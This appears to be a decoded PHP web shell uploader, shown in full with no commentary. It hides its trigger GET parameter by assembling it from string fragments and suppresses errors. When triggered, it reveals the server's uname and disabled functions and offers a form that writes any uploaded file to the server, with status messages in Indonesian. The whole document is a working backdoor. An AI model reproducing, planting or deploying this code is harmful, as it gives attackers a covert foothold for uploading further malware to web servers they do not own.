PHP Decode

<?php 
error_reporting(0);
$qw = ('ab') ;$we = ('l') ;$rt = ('k') ;$yu = ('a') ;$de = ('re') ;$rtt =('m');$mu = ('dul') ;$krd = $qw.$mu.$we.$rt.$re.$yu.$de.$rtt ;$muhmad = $krd ;
if(isset($_GET[$muhmad]))
	{
		echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
		print "\n";$disable_functions = @ini_get("disable_functions"); 
		echo "DisablePHP=".$disable_functions; print "\n"; 
		echo"<form method=post enctype=multipart/form-data>"; 
		echo"<input type=file name=f><input name=v type=submit id=v value=up><br>"; 
		  if($_POST["v"]==up)
{ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} } ?>